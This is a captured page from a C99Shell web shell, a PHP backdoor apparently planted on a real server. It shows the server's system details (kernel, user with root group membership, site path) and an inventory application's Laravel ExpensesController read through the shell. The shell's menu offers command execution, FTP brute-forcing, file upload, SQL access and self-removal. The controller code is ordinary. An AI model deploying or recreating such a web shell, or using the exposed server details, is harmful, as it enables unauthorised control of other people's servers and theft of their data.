!C99Shell v. 2.5 [PHP 8 Update] [24.05.2025]!

Software: Apache. PHP/8.1.30 

uname -a: Linux server1.tuhinhossain.com 5.15.0-151-generic #161-Ubuntu SMP Tue Jul 22 14:25:40 UTC
2025 x86_64
 

uid=1002(picotech) gid=1003(picotech) groups=1003(picotech),0(root)  

Safe-mode: OFF (not secure)

/home/picotech/domains/inventory.picotech.app/public_html/app/Http/Controllers/   drwxr-xr-x
Free 29.15 GB of 117.98 GB (24.7%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Self remove    Logout    


Viewing file:     ExpensesController.php (12.37 KB)      -rw-r--r--
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<?php

namespace App\Http\Controllers;
use 
App\Models\User;
use 
App\Models\UserWarehouse;
use 
App\Exports\ExpenseExport;
use 
App\Models\Expense;
use 
App\Models\ExpenseCategory;
use 
App\Models\Role;
use 
App\Models\Warehouse;
use 
App\utils\helpers;
use 
Carbon\Carbon;
use 
DB;
use 
Illuminate\Http\Request;
use 
Illuminate\Support\Facades\Auth;
use 
Maatwebsite\Excel\Facades\Excel;

class 
ExpensesController extends BaseController
{

    
//-------------- Show All  Expenses -----------\\

    
public function index(request $request)
    {
        
$this->authorizeForUser($request->user('api'), 'view'Expense::class);

        
// How many items do you want to display.
        
$perPage $request->limit;
        
$pageStart \Request::get('page'1);
        
// Start displaying items from this number;
        
$offSet = ($pageStart $perPage) - $perPage;
        
$order $request->SortField;
        
$dir $request->SortType;
        
$helpers = new helpers();
        
$role Auth::user()->roles()->first();
        
$view_records Role::findOrFail($role->id)->inRole('record_view');
        
// Filter fields With Params to retrieve
        
$columns = array(=> 'Ref'=> 'warehouse_id'=> 'date'=> 'expense_category_id');
        
$param = array(=> 'like'=> '='=> '='=> '=');
        
$data = array();

        
// Check If User Has Permission View  All Records
        
$Expenses Expense::with('expense_category''warehouse')
            ->
where('deleted_at''='null)
            ->
where(function ($query) use ($view_records) {
                if (!
$view_records) {
                    return 
$query->where('user_id''='Auth::user()->id);
                }
            });

        
//Multiple Filter
        
$Filtred $helpers->filter($Expenses$columns$param$request)
        
//Search With Multiple Param
            
->where(function ($query) use ($request) {
                return 
$query->when($request->filled('search'), function ($query) use ($request) {
                    return 
$query->where('Ref''LIKE'"%{$request->search}%")
                        ->
orWhere('date''LIKE'"%{$request->search}%")
                        ->
orWhere('details''LIKE'"%{$request->search}%")
                        ->
orWhere(function ($query) use ($request) {
                            return 
$query->whereHas('expense_category', function ($q) use ($request) {
                                
$q->where('name''LIKE'"%{$request->search}%");
                            });
                        })
                        ->
orWhere(function ($query) use ($request) {
                            return 
$query->whereHas('warehouse', function ($q) use ($request) {
                                
$q->where('name''LIKE'"%{$request->search}%");
                            });
                        });
                });
            });
        
$totalRows $Filtred->count();
        if(
$perPage == "-1"){
            
$perPage $totalRows;
        }
        
$Expenses $Filtred->offset($offSet)
            ->
limit($perPage)
            ->
orderBy($order$dir)
            ->
get();

        foreach (
$Expenses as $Expense) {

            
$item['id'] = $Expense->id;
            
$item['date'] = $Expense->date;
            
$item['Ref'] = $Expense->Ref;
            
$item['details'] = $Expense->details;
            
$item['amount'] = $Expense->amount;
            
$item['warehouse_name'] = $Expense['warehouse']->name;
            
$item['category_name'] = $Expense['expense_category']->name;
            
$data[] = $item;
        }

        
$Expenses_category ExpenseCategory::where('deleted_at''='null)->get(['id''name']);

          
//get warehouses assigned to user
          
$user_auth auth()->user();
          if(
$user_auth->is_all_warehouses){
             
$warehouses Warehouse::where('deleted_at''='null)->get(['id''name']);
          }else{
             
$warehouses_id UserWarehouse::where('user_id'$user_auth->id)->pluck('warehouse_id')->toArray();
             
$warehouses Warehouse::where('deleted_at''='null)->whereIn('id'$warehouses_id)->get(['id''name']);
          }

        return 
response()->json([
            
'expenses' => $data,
            
'Expenses_category' => $Expenses_category,
            
'warehouses' => $warehouses,
            
'totalRows' => $totalRows,
        ]);

    }

    
//-------------- Store New Expense -----------\\

    
public function store(Request $request)
    {
        
$this->authorizeForUser($request->user('api'), 'create'Expense::class);

        
request()->validate([
            
'expense.date' => 'required',
            
'expense.warehouse_id' => 'required',
            
'expense.category_id' => 'required',
            
'expense.details' => 'required',
            
'expense.amount' => 'required',
        ]);

        
Expense::create([
            
'user_id' => Auth::user()->id,
            
'date' => $request['expense']['date'],
            
'Ref' => $this->getNumberOrder(),
            
'warehouse_id' => $request['expense']['warehouse_id'],
            
'expense_category_id' => $request['expense']['category_id'],
            
'details' => $request['expense']['details'],
            
'amount' => $request['expense']['amount'],
        ]);

        return 
response()->json(['success' => true]);
    }

    
//------------ function show -----------\\

    
public function show($id){
        
//
        
        
}

    
//-------------- Update  Expense -----------\\

    
public function update(Request $request$id)
    {

        
$this->authorizeForUser($request->user('api'), 'update'Expense::class);
        
$role Auth::user()->roles()->first();
        
$view_records Role::findOrFail($role->id)->inRole('record_view');
        
$expense Expense::findOrFail($id);

        
// Check If User Has Permission view All Records
        
if (!$view_records) {
            
// Check If User->id === expense->id
            
$this->authorizeForUser($request->user('api'), 'check_record'$expense);
        }

        
request()->validate([
            
'expense.date' => 'required',
            
'expense.warehouse_id' => 'required',
            
'expense.category_id' => 'required',
            
'expense.details' => 'required',
            
'expense.amount' => 'required',
        ]);

        
$expense->update([
            
'date' => $request['expense']['date'],
            
'warehouse_id' => $request['expense']['warehouse_id'],
            
'expense_category_id' => $request['expense']['category_id'],
            
'details' => $request['expense']['details'],
            
'amount' => $request['expense']['amount'],
        ]);

        return 
response()->json(['success' => true]);
    }

    
//-------------- Delete Expense -----------\\

    
public function destroy(Request $request$id)
    {
        
$this->authorizeForUser($request->user('api'), 'delete'Expense::class);
        
$role Auth::user()->roles()->first();
        
$view_records Role::findOrFail($role->id)->inRole('record_view');
        
$expense Expense::findOrFail($id);

        
// Check If User Has Permission view All Records
        
if (!$view_records) {
            
// Check If User->id === expense->id
            
$this->authorizeForUser($request->user('api'), 'check_record'$expense);
        }

        
$expense->update([
            
'deleted_at' => Carbon::now(),
        ]);

        return 
response()->json(['success' => true]);
    }

    
//-------------- Delete by selection  ---------------\\

    
public function delete_by_selection(Request $request)
    {
        
$this->authorizeForUser($request->user('api'), 'delete'Expense::class);
        
$selectedIds $request->selectedIds;
        
$role Auth::user()->roles()->first();
        
$view_records Role::findOrFail($role->id)->inRole('record_view');

        foreach (
$selectedIds as $expense_id) {
            
$expense Expense::findOrFail($expense_id);

            
// Check If User Has Permission view All Records
            
if (!$view_records) {
                
// Check If User->id === expense->id
                
$this->authorizeForUser($request->user('api'), 'check_record'$expense);
            }
            
$expense->update([
                
'deleted_at' => Carbon::now(),
            ]);
        }
        return 
response()->json(['success' => true]);
    }

    
//--------------- Reference Number of Expense ----------------\\

    
public function getNumberOrder()
    {

        
$last DB::table('expenses')->latest('id')->first();

        if (
$last) {
            
$item $last->Ref;
            
$nwMsg explode("_"$item);
            
$inMsg $nwMsg[1] + 1;
            
$code $nwMsg[0] . '_' $inMsg;
        } else {
            
$code 'EXP_1111';
        }
        return 
$code;

    }

    
//-------------- Export All Expenses to EXCEL  ---------------\\

    
public function exportExcel(Request $request)
    {
        
$this->authorizeForUser($request->user('api'), 'view'Expense::class);

        return 
Excel::download(new ExpenseExport'List_Expense.xlsx');
    }

    
//---------------- Show Form Create Expense ---------------\\

    
public function create(Request $request)
    {

        
$this->authorizeForUser($request->user('api'), 'create'Expense::class);

        
//get warehouses assigned to user
        
$user_auth auth()->user();
        if(
$user_auth->is_all_warehouses){
            
$warehouses Warehouse::where('deleted_at''='null)->get(['id''name']);
        }else{
            
$warehouses_id UserWarehouse::where('user_id'$user_auth->id)->pluck('warehouse_id')->toArray();
            
$warehouses Warehouse::where('deleted_at''='null)->whereIn('id'$warehouses_id)->get(['id''name']);
        }

        
$Expenses_category ExpenseCategory::where('deleted_at''='null)->get(['id''name']);

        return 
response()->json([
            
'Expenses_category' => $Expenses_category,
            
'warehouses' => $warehouses,
        ]);
    }

    
//------------- Show Form Edit Expense -----------\\

    
public function edit(Request $request$id)
    {

        
$this->authorizeForUser($request->user('api'), 'update'Expense::class);
        
$role Auth::user()->roles()->first();
        
$view_records Role::findOrFail($role->id)->inRole('record_view');
        
$Expense Expense::where('deleted_at''='null)->findOrFail($id);

        
// Check If User Has Permission view All Records
        
if (!$view_records) {
            
// Check If User->id === Expense->id
            
$this->authorizeForUser($request->user('api'), 'check_record'$Expense);
        }

        if (
$Expense->warehouse_id) {
            if (
Warehouse::where('id'$Expense->warehouse_id)
                ->
where('deleted_at''='null)
                ->
first()) {
                
$data['warehouse_id'] = $Expense->warehouse_id;
            } else {
                
$data['warehouse_id'] = '';
            }
        } else {
            
$data['warehouse_id'] = '';
        }

        if (
$Expense->expense_category_id) {
            if (
ExpenseCategory::where('id'$Expense->expense_category_id)
                ->
where('deleted_at''='null)
                ->
first()) {
                
$data['category_id'] = $Expense->expense_category_id;
            } else {
                
$data['category_id'] = '';
            }
        } else {
            
$data['category_id'] = '';
        }

        
$data['date'] = $Expense->date;
        
$data['amount'] = $Expense->amount;
        
$data['details'] = $Expense->details;

        
//get warehouses assigned to user
        
$user_auth auth()->user();
        if(
$user_auth->is_all_warehouses){
            
$warehouses Warehouse::where('deleted_at''='null)->get(['id''name']);
        }else{
            
$warehouses_id UserWarehouse::where('user_id'$user_auth->id)->pluck('warehouse_id')->toArray();
            
$warehouses Warehouse::where('deleted_at''='null)->whereIn('id'$warehouses_id)->get(['id''name']);
        }

        
$Expenses_category ExpenseCategory::where('deleted_at''='null)->get(['id''name']);

        return 
response()->json([
            
'expense' => $data,
            
'expense_Category' => $Expenses_category,
            
'warehouses' => $warehouses,
        ]);
    }

}

:: Command execute ::

Enter:
 
Select:
 

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c99shell v. 2.5 [PHP 8 Update] [24.05.2025] | Generation time: 0.0055 ]--